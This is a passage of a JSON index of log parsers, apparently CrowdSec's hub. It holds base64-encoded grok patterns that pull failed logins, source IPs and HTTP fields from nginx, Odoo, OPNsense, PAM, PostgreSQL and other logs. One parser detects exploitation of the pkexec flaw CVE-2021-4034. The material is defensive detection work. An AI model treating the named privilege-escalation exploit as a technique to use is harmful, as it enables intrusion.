VWRUw6bG9nbGV2ZWx9XF0gJXtOT05ORUdJTlQ6cGlkfSMle05PTk5FR0lOVDp0aWR9OiAoXCole05PTk5FR0lOVDpjaWR9ICk/JXtHUkVFRFlEQVRBOm1lc3NhZ2V9LCBjbGllbnQ6ICV7SVBPUkhPU1Q6cmVtb3RlX2FkZHJ9LCBzZXJ2ZXI6ICV7REFUQTp0YXJnZXRfZnFkbn0sIHJlcXVlc3Q6ICIle1dPUkQ6dmVyYn0gKFteL10rKT8le1VSSVBBVEhQQVJBTTpyZXF1ZXN0fSggSFRUUC8le05VTUJFUjpodHRwX3ZlcnNpb259KT8iLCBob3N0OiAiJXtJUE9SSE9TVH0oOiV7Tk9OTkVHSU5UfSk/IicKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAgICAgc3RhdGljczoKICAgICAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgICAgICB2YWx1ZTogaHR0cF9lcnJvci1sb2cKICAgICAgICAtIHRhcmdldDogZXZ0LlN0clRpbWUKICAgICAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQudGltZQogICAgcGF0dGVybl9zeW50YXg6CiAgICAgIE5PX0RPVUJMRV9RVU9URTogJ1teIl0rJwogICAgb25zdWNjZXNzOiBuZXh0X3N0YWdlCiAgICBub2RlczoKICAgICAgLSBmaWx0ZXI6ICJldnQuUGFyc2VkLm1lc3NhZ2UgY29udGFpbnMgJ3dhcyBub3QgZm91bmQgaW4nIgogICAgICAgIHBhdHRlcm5fc3ludGF4OgogICAgICAgICAgVVNFUl9OT1RfRk9VTkQ6ICd1c2VyICIle05PX0RPVUJMRV9RVU9URTp1c2VybmFtZX0iIHdhcyBub3QgZm91bmQgaW4gIiV7Tk9fRE9VQkxFX1FVT1RFfSInCiAgICAgICAgZ3JvazoKICAgICAgICAgIHBhdHRlcm46ICcle1VTRVJfTk9UX0ZPVU5EfScKICAgICAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgICAgICAgc3RhdGljczoKICAgICAgICAgIC0gbWV0YTogc3ViX3R5cGUKICAgICAgICAgICAgdmFsdWU6ICJhdXRoX2ZhaWwiCiAgICAgICAgICAtIG1ldGE6IHVzZXJuYW1lCiAgICAgICAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQudXNlcm5hbWUKICAgICAgLSBmaWx0ZXI6ICJldnQuUGFyc2VkLm1lc3NhZ2UgY29udGFpbnMgJ3Bhc3N3b3JkIG1pc21hdGNoJyIKICAgICAgICBwYXR0ZXJuX3N5bnRheDoKICAgICAgICAgIFBBU1NXT1JEX01JU01BVENIOiAndXNlciAiJXtOT19ET1VCTEVfUVVPVEU6dXNlcm5hbWV9IjogcGFzc3dvcmQgbWlzbWF0Y2gnCiAgICAgICAgZ3JvazoKICAgICAgICAgIHBhdHRlcm46ICcle1BBU1NXT1JEX01JU01BVENIfScKICAgICAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgICAgICAgc3RhdGljczoKICAgICAgICAgIC0gbWV0YTogc3ViX3R5cGUKICAgICAgICAgICAgdmFsdWU6ICJhdXRoX2ZhaWwiCiAgICAgICAgICAtIG1ldGE6IHVzZXJuYW1lCiAgICAgICAgICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQudXNlcm5hbWUKICAgICAgLSBmaWx0ZXI6ICJldnQuUGFyc2VkLm1lc3NhZ2UgY29udGFpbnMgJ2xpbWl0aW5nIHJlcXVlc3RzLCBleGNlc3MnIgogICAgICAgIHN0YXRpY3M6CiAgICAgICAgICAtIG1ldGE6IHN1Yl90eXBlCiAgICAgICAgICAgIHZhbHVlOiAicmVxX2xpbWl0X2V4Y2VlZGVkIgogICAgIyB0aGVzZSBvbmVzIGFwcGx5IGZvciBib3RoIGdyb2sgcGF0dGVybnMKc3RhdGljczoKICAtIG1ldGE6IHNlcnZpY2UKICAgIHZhbHVlOiBodHRwCiAgLSBtZXRhOiBzb3VyY2VfaXAKICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnJlbW90ZV9hZGRyIgogIC0gbWV0YTogaHR0cF9zdGF0dXMKICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnN0YXR1cyIKICAtIG1ldGE6IGh0dHBfcGF0aAogICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQucmVxdWVzdCIKICAtIG1ldGE6IGh0dHBfdmVyYgogICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQudmVyYiIKICAtIG1ldGE6IGh0dHBfdXNlcl9hZ2VudAogICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQuaHR0cF91c2VyX2FnZW50IgogIC0gbWV0YTogdGFyZ2V0X2ZxZG4KICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnRhcmdldF9mcWRuIgo=", "description": "Parse nginx access and error logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/nginx-proxy-manager-logs": { "path": "parsers/s01-parse/crowdsecurity/nginx-proxy-manager-logs.yaml", "stage": "s01-parse", "version": "0.2", "versions": { "0.1": { "digest": "d3537478fca875fdaccc3d5591ec3ce3f6fbeb5283737aca3b12d322bd8abfd7", "deprecated": false }, "0.2": { "digest": "b3c98501a460913b0d09aaf410e5651e999eba720516bb4822e69f0adea19685", "deprecated": false } }, "long_description": "QSBnZW5lcmljIHBhcnNlciBmb3IgW05naW54IFByb3h5IE1hbmFnZXJdKGh0dHBzOi8vZ2l0aHViLmNvbS9OZ2lueFByb3h5TWFuYWdlci9uZ2lueC1wcm94eS1tYW5hZ2VyKSwgc3VwcG9ydCBib3RoIFthY2Nlc3MgYW5kIGVycm9yIGxvZ3NdKGh0dHBzOi8vZ2l0aHViLmNvbS9OZ2lueFByb3h5TWFuYWdlci9uZ2lueC1wcm94eS1tYW5hZ2VyL2Jsb2IvZGV2ZWxvcC9kb2NrZXIvcm9vdGZzL2V0Yy9uZ2lueC9uZ2lueC5jb25mI0w0NikuCgo=", "content": "IwpmaWx0ZXI6ICJldnQuUGFyc2VkLnByb2dyYW0gc3RhcnRzV2l0aCAnbmdpbngtcHJveHktbWFuYWdlciciCm9uc3VjY2VzczogbmV4dF9zdGFnZQpuYW1lOiBjcm93ZHNlY3VyaXR5L25naW54LXByb3h5LW1hbmFnZXItbG9ncwpkZXNjcmlwdGlvbjogIlBhcnNlIE5naW54IFByb3h5IE1hbmFnZXIgYWNjZXNzIGFuZCBlcnJvciBsb2dzIgpub2RlczoKICAjIEZvciBQcm94eSBob3N0cyBsb2dzCiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAnXFsle0hUVFBEQVRFOnRpbWVfbG9jYWx9XF0oICV7TlVNX09SX0RBU0g6dXBzdHJlYW1fY2FjaGVfc3RhdHVzfSAle05VTV9PUl9EQVNIOnVwc3RyZWFtX3N0YXR1c30pPyAle05VTUJFUjpzdGF0dXN9IC0gJXtXT1JEOnZlcmJ9ICV7V09SRDpzY2hlbWV9ICV7SVBPUkhPU1Q6dGFyZ2V0X2ZxZG59IFwiJXtOT1REUVVPVEU6cmVxdWVzdH1cIiBcW0NsaWVudCAle0lQT1JIT1NUOnJlbW90ZV9hZGRyfVxdIFxbTGVuZ3RoICV7TlVNQkVSOmJvZHlfYnl0ZXNfc2VudH1cXSBcW0d6aXAgJXtEQVRBOmd6aXBfcmF0aW99XF0oIFxbU2VudC10byAle0lQT1JIT1NUOnRhcmdldF9zZXJ2ZXJ9XF0pPyBcIiV7Tk9URFFVT1RFOmh0dHBfdXNlcl9hZ2VudH1cIiBcIiV7Tk9URFFVT1RFOmh0dHBfcmVmZXJlcn1cIicKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAgICAgc3RhdGljczoKICAgICAgICAtIG1ldGE6IGxvZ190eXBlCiAgICAgICAgICB2YWx1ZTogaHR0cF9hY2Nlc3MtbG9nCiAgICAgICAgLSB0YXJnZXQ6IGV2dC5TdHJUaW1lCiAgICAgICAgICBleHByZXNzaW9uOiBldnQuUGFyc2VkLnRpbWVfbG9jYWwKICAgIHBhdHRlcm5fc3ludGF4OgogICAgICBOVU1fT1JfREFTSDogJy18XGQqJwogICMgRm9yIERlZmF1bHQgaG9zdCBsb2dzCiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAnKCV7SVBPUkhPU1Q6dGFyZ2V0X2ZxZG59ICk/JXtJUE9SSE9TVDpyZW1vdGVfYWRkcn0gLSAoJXtOR1VTRVI6cmVtb3RlX3VzZXJ9KT8gXFsle0hUVFBEQVRFOnRpbWVfbG9jYWx9XF0gIiV7V09SRDp2ZXJifSAle0RBVEE6cmVxdWVzdH0gSFRUUC8le05VTUJFUjpodHRwX3ZlcnNpb259IiAle05VTUJFUjpzdGF0dXN9ICV7TlVNQkVSOmJvZHlfYnl0ZXNfc2VudH0gIiV7Tk9URFFVT1RFOmh0dHBfcmVmZXJlcn0iICIle05PVERRVU9URTpodHRwX3VzZXJfYWdlbnR9IiggJXtOVU1CRVI6cmVxdWVzdF9sZW5ndGh9ICV7TlVNQkVSOnJlcXVlc3RfdGltZX0gXFsle0RBVEE6cHJveHlfdXBzdHJlYW1fbmFtZX1cXSBcWyV7REFUQTpwcm94eV9hbHRlcm5hdGl2ZV91cHN0cmVhbV9uYW1lfVxdKT8nCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgICAgIHN0YXRpY3M6CiAgICAgICAgLSBtZXRhOiBsb2dfdHlwZQogICAgICAgICAgdmFsdWU6IGh0dHBfYWNjZXNzLWxvZwogICAgICAgIC0gdGFyZ2V0OiBldnQuU3RyVGltZQogICAgICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC50aW1lX2xvY2FsCiAgIyBhbmQgdGhpcyBvbmUgdGhlIGVycm9yIGxvZwogIC0gZ3JvazoKICAgICAgICBwYXR0ZXJuOiAnKCV7SVBPUkhPU1Q6dGFyZ2V0X2ZxZG59ICk/JXtOR0lOWEVSUlRJTUU6dGltZX0gXFsle0xPR0xFVkVMOmxvZ2xldmVsfVxdICV7Tk9OTkVHSU5UOnBpZH0jJXtOT05ORUdJTlQ6dGlkfTogKFwqJXtOT05ORUdJTlQ6Y2lkfSApPyV7R1JFRURZREFUQTptZXNzYWdlfSwgY2xpZW50OiAle0lQT1JIT1NUOnJlbW90ZV9hZGRyfSwgc2VydmVyOiAle0lQT1JIT1NUOnRhcmdldF9mcWRufSwgcmVxdWVzdDogIiV7V09SRDp2ZXJifSAle1VSSVBBVEhQQVJBTTpyZXF1ZXN0fSBIVFRQLyV7TlVNQkVSOmh0dHBfdmVyc2lvbn0iLCBob3N0OiAiJXtJUE9SSE9TVH0iJwogICAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgICAgICAgc3RhdGljczoKICAgICAgICAgIC0gbWV0YTogbG9nX3R5cGUKICAgICAgICAgICAgdmFsdWU6IGh0dHBfZXJyb3ItbG9nCiAgICAgICAgICAtIHRhcmdldDogZXZ0LlN0clRpbWUKICAgICAgICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC50aW1lCiAgICBwYXR0ZXJuX3N5bnRheDoKICAgICAgTk9fRE9VQkxFX1FVT1RFOiAnW14iXSsnCiAgICBvbnN1Y2Nlc3M6IG5leHRfc3RhZ2UKICAgIG5vZGVzOgogICAgICAtIGZpbHRlcjogImV2dC5QYXJzZWQubWVzc2FnZSBjb250YWlucyAnd2FzIG5vdCBmb3VuZCBpbiciCiAgICAgICAgcGF0dGVybl9zeW50YXg6CiAgICAgICAgICBVU0VSX05PVF9GT1VORDogJ3VzZXIgIiV7Tk9fRE9VQkxFX1FVT1RFOnVzZXJuYW1lfSIgd2FzIG5vdCBmb3VuZCBpbiAiJXtOT19ET1VCTEVfUVVPVEV9IicKICAgICAgICBncm9rOgogICAgICAgICAgcGF0dGVybjogJyV7VVNFUl9OT1RfRk9VTkR9JwogICAgICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAgICAgICBzdGF0aWNzOgogICAgICAgICAgLSBtZXRhOiBzdWJfdHlwZQogICAgICAgICAgICB2YWx1ZTogImF1dGhfZmFpbCIKICAgICAgICAgIC0gbWV0YTogdXNlcm5hbWUKICAgICAgICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC51c2VybmFtZQogICAgICAtIGZpbHRlcjogImV2dC5QYXJzZWQubWVzc2FnZSBjb250YWlucyAncGFzc3dvcmQgbWlzbWF0Y2gnIgogICAgICAgIHBhdHRlcm5fc3ludGF4OgogICAgICAgICAgUEFTU1dPUkRfTUlTTUFUQ0g6ICd1c2VyICIle05PX0RPVUJMRV9RVU9URTp1c2VybmFtZX0iOiBwYXNzd29yZCBtaXNtYXRjaCcKICAgICAgICBncm9rOgogICAgICAgICAgcGF0dGVybjogJyV7UEFTU1dPUkRfTUlTTUFUQ0h9JwogICAgICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAgICAgICBzdGF0aWNzOgogICAgICAgICAgLSBtZXRhOiBzdWJfdHlwZQogICAgICAgICAgICB2YWx1ZTogImF1dGhfZmFpbCIKICAgICAgICAgIC0gbWV0YTogdXNlcm5hbWUKICAgICAgICAgICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC51c2VybmFtZQojIHRoZXNlIG9uZXMgYXBwbHkgZm9yIGJvdGggZ3JvayBwYXR0ZXJucwpzdGF0aWNzOgogIC0gbWV0YTogc2VydmljZQogICAgdmFsdWU6IGh0dHAKICAtIG1ldGE6IHNvdXJjZV9pcAogICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQucmVtb3RlX2FkZHIiCiAgLSBtZXRhOiBodHRwX3N0YXR1cwogICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQuc3RhdHVzIgogIC0gbWV0YTogaHR0cF9wYXRoCiAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5yZXF1ZXN0IgogIC0gbWV0YTogaHR0cF92ZXJiCiAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC52ZXJiIgogIC0gbWV0YTogaHR0cF91c2VyX2FnZW50CiAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5odHRwX3VzZXJfYWdlbnQiCiAgLSBtZXRhOiB0YXJnZXRfZnFkbgogICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQudGFyZ2V0X2ZxZG4iCg==", "description": "Parse Nginx Proxy Manager access and error logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/odoo-logs": { "path": "parsers/s01-parse/crowdsecurity/odoo-logs.yaml", "stage": "s01-parse", "version": "0.1", "versions": { "0.1": { "digest": "a41a81ec54fd61070c0d15f954a4a6f00c63e33546f12d79c6abaf745c36fb4e", "deprecated": false } }, "long_description": "T2RvbyBhdXRoZW50aWNhdGlvbiBmYWlsdXJlIHBhcnNlci4KClJlZmVyZW5jZToKaHR0cHM6Ly93d3cub2Rvby5jb20vZG9jdW1lbnRhdGlvbi8xNS4wL2FkbWluaXN0cmF0aW9uL2luc3RhbGwvZGVwbG95Lmh0bWwjYmxvY2tpbmctYnJ1dGUtZm9yY2UtYXR0YWNrcw==", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCm5hbWU6IGNyb3dkc2VjdXJpdHkvb2Rvby1sb2dzCmRlc2NyaXB0aW9uOiAiUGFyc2UgT2RvbyBsb2dzIgpmaWx0ZXI6ICJldnQuUGFyc2VkLnByb2dyYW0gPT0gJ29kb28nIgpub2RlczoKICAtIGdyb2s6CiAgICAgIHBhdHRlcm46ICcle1RJTUVTVEFNUF9JU084NjAxOnRpbWVzdGFtcH0gJXtJTlQ6UElEfSBJTkZPICV7REFUQTpkYl9uYW1lfSBvZG9vLmFkZG9ucy5iYXNlLm1vZGVscy5yZXNfdXNlcnM6IExvZ2luIGZhaWxlZCBmb3IgZGI6JXtEQVRBfSBsb2dpbjole0RBVEE6dXNlcn0gZnJvbSAle0lQOnNvdXJjZV9pcH0nCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCnN0YXRpY3M6CiAgLSBtZXRhOiBsb2dfdHlwZQogICAgdmFsdWU6IG9kb29fZmFpbGVkX2F1dGgKICAtIG1ldGE6IHNvdXJjZV9pcAogICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQuc291cmNlX2lwIgogIC0gbWV0YTogdXNlcgogICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQudXNlciIKICAtIG1ldGE6IGRiCiAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC5kYl9uYW1lIgogIC0gdGFyZ2V0OiBldnQuU3RyVGltZQogICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC50aW1lc3RhbXA=", "description": "Parse Odoo logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/opnsense-gui-logs": { "path": "parsers/s01-parse/crowdsecurity/opnsense-gui-logs.yaml", "stage": "s01-parse", "version": "0.1", "versions": { "0.1": { "digest": "1a93083832b2ef50845cbf1fd056ab1b680e6f524d17892bc8f6cb72cfe87935", "deprecated": false } }, "long_description": "IyMgT1BOU2Vuc2Ugd2ViIGF1dGhlbnRpY2F0aW9uIHBhcnNlcgoKQSBwYXJzZXIgZm9yIG9wbnNlbnNlIHdlYiBhdXRoZW50aWNhdGlvbiAoZmFpbGVkKSBsb2dzLgpUaG9zZSBsb2dzIGFyZSB1c3VhbGx5IHByZXNlbnQgaW4gYCAvdmFyL2xvZy9hdWRpdC9sYXRlc3QubG9nYC4KCg==", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCmZpbHRlcjogImV2dC5QYXJzZWQucHJvZ3JhbSA9PSAnYXVkaXQnIgpuYW1lOiBjcm93ZHNlY3VyaXR5L29wbnNlbnNlLWd1aS1sb2dzCmRlc2NyaXB0aW9uOiAiUGFyc2UgT1BOU2Vuc2Ugd2ViIGF1dGggbG9ncyIKIy9pbmRleC5waHA6IFdlYiBHVUkgYXV0aGVudGljYXRpb24gZXJyb3IgZm9yICd0b3RvJyBmcm9tIDEuMi4zLjQKZ3JvazogCiAgcGF0dGVybjogIi9pbmRleC5waHA6IFdlYiBHVUkgYXV0aGVudGljYXRpb24gZXJyb3IgZm9yICcle1VTRVJOQU1FOnVzZXJuYW1lfScgZnJvbSAle0lQT1JIT1NUOnNvdXJjZV9pcH0iCiAgYXBwbHlfb246IG1lc3NhZ2UKc3RhdGljczoKICAtIG1ldGE6IHNlcnZpY2UKICAgIHZhbHVlOiBvcG5zZW5zZS1ndWkKICAtIG1ldGE6IHVzZXJuYW1lCiAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC51c2VybmFtZSIKICAtIG1ldGE6IHNvdXJjZV9pcAogICAgZXhwcmVzc2lvbjogZXZ0LlBhcnNlZC5zb3VyY2VfaXAKICAtIG1ldGE6IGxvZ190eXBlCiAgICB2YWx1ZTogb3Buc2Vuc2UtZ3VpLWZhaWxlZC1hdXRoCg==", "description": "Parse OPNSense web auth logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/pam-logs": { "path": "parsers/s01-parse/crowdsecurity/pam-logs.yaml", "stage": "s01-parse", "version": "0.2", "versions": { "0.1": { "digest": "8648ee68511e7f48834a7e4a2c850f55de13ebcf05cb97b147265290ec089384", "deprecated": false }, "0.2": { "digest": "7fc970165bfb774accdf27c4932473bd2633cc680d213ed49656e4f462fdd495", "deprecated": false } }, "long_description": "QSBtaW5pbWFsIHBhcnNlciBmb3IgcGFtLCBzdXBwb3J0cyBvbmx5IDoKIC0gYXV0aGVudGljYXRpb24gZmFpbHVyZSBtZXNzYWdlcwogLSBhY2NvdW50IGxvY2sgKHBhbV90YWxseSkK", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCmZpbHRlcjogImV2dC5QYXJzZWQucHJvZ3JhbSA9PSAnc3VkbyciCm5hbWU6IGNyb3dkc2VjdXJpdHkvcGFtLWxvZ3MKZGVzY3JpcHRpb246ICJQYXJzZSBwYW0gbG9ncyIKbm9kZXM6CiAgLSBncm9rOiAKICAgICAgcGF0dGVybjogJ3BhbV90YWxseTJcKHN1ZG86YXV0aFwpOiB1c2VyICV7Tk9UU1BBQ0U6dXNlcm5hbWV9IFwoJXtOVU1CRVI6dWlkfVwpIHRhbGx5IFxkLCBkZW55IFxkJwogICAgICBhcHBseV9vbjogbWVzc2FnZQogICAgICBzdGF0aWNzOgogICAgICAgIC0gbWV0YTogbG9nX3R5cGUKICAgICAgICAgIHZhbHVlOiBwYW1fdXNlcl9sb2NrCiAgLSBncm9rOgogICAgICBwYXR0ZXJuOiAncGFtX3VuaXhcKHN1ZG86YXV0aFwpOiBhdXRoZW50aWNhdGlvbiBmYWlsdXJlOyBsb2duYW1lPSV7Tk9UU1BBQ0U6bG9nbmFtZX0gdWlkPSV7TlVNQkVSOnVpZH0gZXVpZD0le05VTUJFUjpldWlkfSB0dHk9JXtOT1RTUEFDRTp0dHl9IHJ1c2VyPSV7Tk9UU1BBQ0U6cnVzZXJ9IHJob3N0PSV7R1JFRURZREFUQTpyaG9zdH0gIHVzZXI9JXtOT1RTUEFDRTp1c2VybmFtZX0nCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCiAgICAgIHN0YXRpY3M6CiAgICAgICAgLSBtZXRhOiBsb2dfdHlwZQogICAgICAgICAgdmFsdWU6IHBhbV9mYWlsZWRfYXV0aApzdGF0aWNzOgogIC0gbWV0YTogc2VydmljZQogICAgdmFsdWU6IHBhbQogIC0gbWV0YTogdXNlcm5hbWUKICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnVzZXJuYW1lIgo=", "description": "Parse pam logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/pgsql-logs": { "path": "parsers/s01-parse/crowdsecurity/pgsql-logs.yaml", "stage": "s01-parse", "version": "0.5", "versions": { "0.1": { "digest": "180dbffa0ae9a0b7fa192d5328dfc69c8b1a0489a81604c6642a47be3fd1394d", "deprecated": false }, "0.2": { "digest": "bf228d679c51e8b47d06ee58185591b97c5be3acb4fcb0e38d36707f6452bd5d", "deprecated": false }, "0.3": { "digest": "693c053d3ff524e84e2aea4d4e29d0fc2b8151804d4672f7cbdf77d8ac48eccc", "deprecated": false }, "0.4": { "digest": "107048061794ca54bf99a080d78642a1345cc9d5554bc54bad353aec3fa313d0", "deprecated": false }, "0.5": { "digest": "70c79e6c9c679779cd61bad22760bc0ac421b6a735278d659dec3b39c85f15f2", "deprecated": false } }, "long_description": "UG9zdGdyZVNRTCBmYWlsIGF1dGhlbnRpY2F0aW9uIHBhcnNlci4KCgoqKndhcm5pbmcqKiA6IEJ5IGRlZmF1bHQgKGF0IGxlYXN0IG9uIGRlYmlhbiB3aXRoIHBnc3FsIDEyKSwgcG9zdGdyZVNRTCBsb2dzIGRvIG5vdCBjb250YWluIHRoZSBzb3VyY2UgSVAsIGFuZCBgbG9nX2xpbmVfcHJlZml4YCBuZWVkcyB0byBiZSBlZGl0ZWQgdG8gY29udGFpbiBgJWhgICh0aGUgcmVtb3RlIGhvc3QpLiBUaGlzIHBhcnNlciBhc3N1bWVzIHRoZSBgbG9nX2xpbmVfcHJlZml4YCBpcyAgYCVtIFslcF0gJWglcSAldUAlZCBgIChpbnN0ZWFkIG9mIHRoZSBkZWZhdWx0IGAlbSBbJXBdICVxJXVAJWQgYCkKClBsZWFzZSBub3RlIHRoYXQgdGhlIHBhcnNlciBpZ25vcmVzIHRoZSB0aW1lem9uZSB3cml0dGVuIGJ5IHBvc3RncmVzLgo=", "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCm5hbWU6IGNyb3dkc2VjdXJpdHkvcGdzcWwtbG9ncwpkZXNjcmlwdGlvbjogIlBhcnNlIFBnU1FMIGxvZ3MiCmZpbHRlcjogImV2dC5QYXJzZWQucHJvZ3JhbSA9PSAncG9zdGdyZXMnIgpub2RlczoKICAtIGdyb2s6CiAgICAjcGdzcWwgMTIKICAgICAgcGF0dGVybjogJyV7REFURVNUQU1QOnRpbWVzdGFtcH0gJXtXT1JEOnpvbmV9IFxbJXtJTlQ6UElEfVxdICV7SVA6c291cmNlX2lwfSAle1VTRVJOQU1FOnBnc3FsX3VzZXJ9QCV7R1JFRURZREFUQTpwZ3NxbF9kYm5hbWV9IEZBVEFMOiAgJXtXT1JEOmF1dGhfbWV0aG9kfSBhdXRoZW50aWNhdGlvbiBmYWlsZWQgZm9yIHVzZXIgIiV7VVNFUk5BTUU6cGdzcWxfdGFyZ2V0X3VzZXJ9IicKICAgICAgYXBwbHlfb246IG1lc3NhZ2UKICAtIGdyb2s6CiAgICAjYXdzIGF1cm9yYQogICAgIyV7REFURVNUQU1QOnRpbWVzdGFtcH0gJXtXT1JEOnpvbmV9OiV7SVA6c291cmNlX2lwfVwoJXtJTlQ6c291cmNlX3BvcnR9XCk6JXtVU0VSTkFNRTpwZ3NxbF91c2VyfUAle0dSRUVEWURBVEE6cGdzcWxfZGJuYW1lfTpcWyV7SU5UOnBpZH1cXTpGQVRBTDogcGFzc3dvcmQgYXV0aGVudGljYXRpb24gZmFpbGVkIGZvciB1c2VyICIle1VTRVJOQU1FOnBnc3FsX3RhcmdldF91c2VyfSIKICAgICAgcGF0dGVybjogJyV7REFURVNUQU1QOnRpbWVzdGFtcH0gJXtXT1JEOnpvbmV9OiV7SVA6c291cmNlX2lwfVwoJXtJTlQ6c291cmNlX3BvcnR9XCk6JXtVU0VSTkFNRTpwZ3NxbF91c2VyfUAle0dSRUVEWURBVEE6cGdzcWxfZGJuYW1lfTpcWyV7SU5UOnBpZH1cXTpGQVRBTDogICV7V09SRDphdXRoX21ldGhvZH0gYXV0aGVudGljYXRpb24gZmFpbGVkIGZvciB1c2VyICIle1VTRVJOQU1FOnBnc3FsX3RhcmdldF91c2VyfSInCiAgICAgIGFwcGx5X29uOiBtZXNzYWdlCnN0YXRpY3M6CiAgLSBtZXRhOiBsb2dfdHlwZQogICAgdmFsdWU6IHBnc3FsX2ZhaWxlZF9hdXRoCiAgLSBtZXRhOiBhdXRoX21ldGhvZAogICAgZXhwcmVzc2lvbjogImV2dC5QYXJzZWQuYXV0aF9tZXRob2QiCiAgLSBtZXRhOiBzb3VyY2VfaXAKICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnNvdXJjZV9pcCIKICAtIG1ldGE6IHVzZXIKICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnBnc3FsX3RhcmdldF91c2VyIgogIC0gbWV0YTogZGIKICAgIGV4cHJlc3Npb246ICJldnQuUGFyc2VkLnBnc3FsX2RibmFtZSIKICAtIHRhcmdldDogZXZ0LlN0clRpbWUKICAgIGV4cHJlc3Npb246IGV2dC5QYXJzZWQudGltZXN0YW1w", "description": "Parse PgSQL logs", "author": "crowdsecurity", "labels": null }, "crowdsecurity/pkexec-logs": { "path": "parsers/s01-parse/crowdsecurity/pkexec-logs.yaml", "stage": "s01-parse", "version": "0.1", "versions": { "0.1": { "digest": "3b8e30530f69f776d327b5710653a496245949ca6dde84d16357f433b7303a25", "deprecated": false } }, "content": "b25zdWNjZXNzOiBuZXh0X3N0YWdlCiNkZWJ1ZzogdHJ1ZQpmaWx0ZXI6ICJldnQuUGFyc2VkLnByb2dyYW0gPT0gJ3BrZXhlYyciCm5hbWU6IGNyb3dkc2VjdXJpdHkvcGtleGVjLWxvZ3MKZGVzY3JpcHRpb246ICJQYXJzZSBwa2V4ZWMgbG9ncyBzcGVjaWZpY2FsbHkgZm9yIENWRS0yMDIxLTQwMzQiCnBhdHRlcm5fc3ludGF4OgogIFBXTktJVF9YUEw6ICcle0RBVEE6dXNlcn06IFRoZSB2YWx1ZSBmb3IgdGhlIFNIRUxMIHZhcmlhYmxlIHdhcyBub3QgZm91bmQgdGhlIC9ldGMvc2hlbGxzIGZpbGUnCmdyb2s6CiAgbmFtZTogIlBXTktJVF9YUEwiCiAgYXBwbHlfb246IG1lc3NhZ2UKc3RhdGljczoKICAtIG1ldGE6IGxvZ190eXBlCiAgICB2YWx1ZTogQ1ZFLTIwMjEtNDAzNC14cGwKICAtIG1ldGE6IHRhcmdldF91c2VyCiAgICBleHByZXNzaW9uOiAiZXZ0LlBhcnNlZC51c2VyIgo=", "description": "Parse pkexec logs specifically for CVE-2021-4034", "author": "crowdsecurity", "labels": null }, "crowdsecurity/postfix-logs": { "path": "parsers/s01-parse/crowdsecurity/postfix-logs.yaml", "stage": "s01-parse", "version": "0.4", "versions": { "0.1": { "digest": "da6b8ecae70e951905697c92fc0c198c2148041bf96e33658d485818c37d7414", "deprecated": false }, "0.2": { "digest": "7338524c5cd363792ee2b8edd488ee6e855b925e073ad659ae2c1b9fb1f4afdf", "deprecated": false }, "0.3": { "digest": "22d3fd0f7d3ca3ea1899df909c5748ed8781b58d243e8d54217ce268874072e1", "deprecated": false }, "0.4": { "digest": "1b30aa19109f2f95ac96afa38e83d5abea3ace8b310773cf936e7191241a01df", "deprecated": false } }, "content": 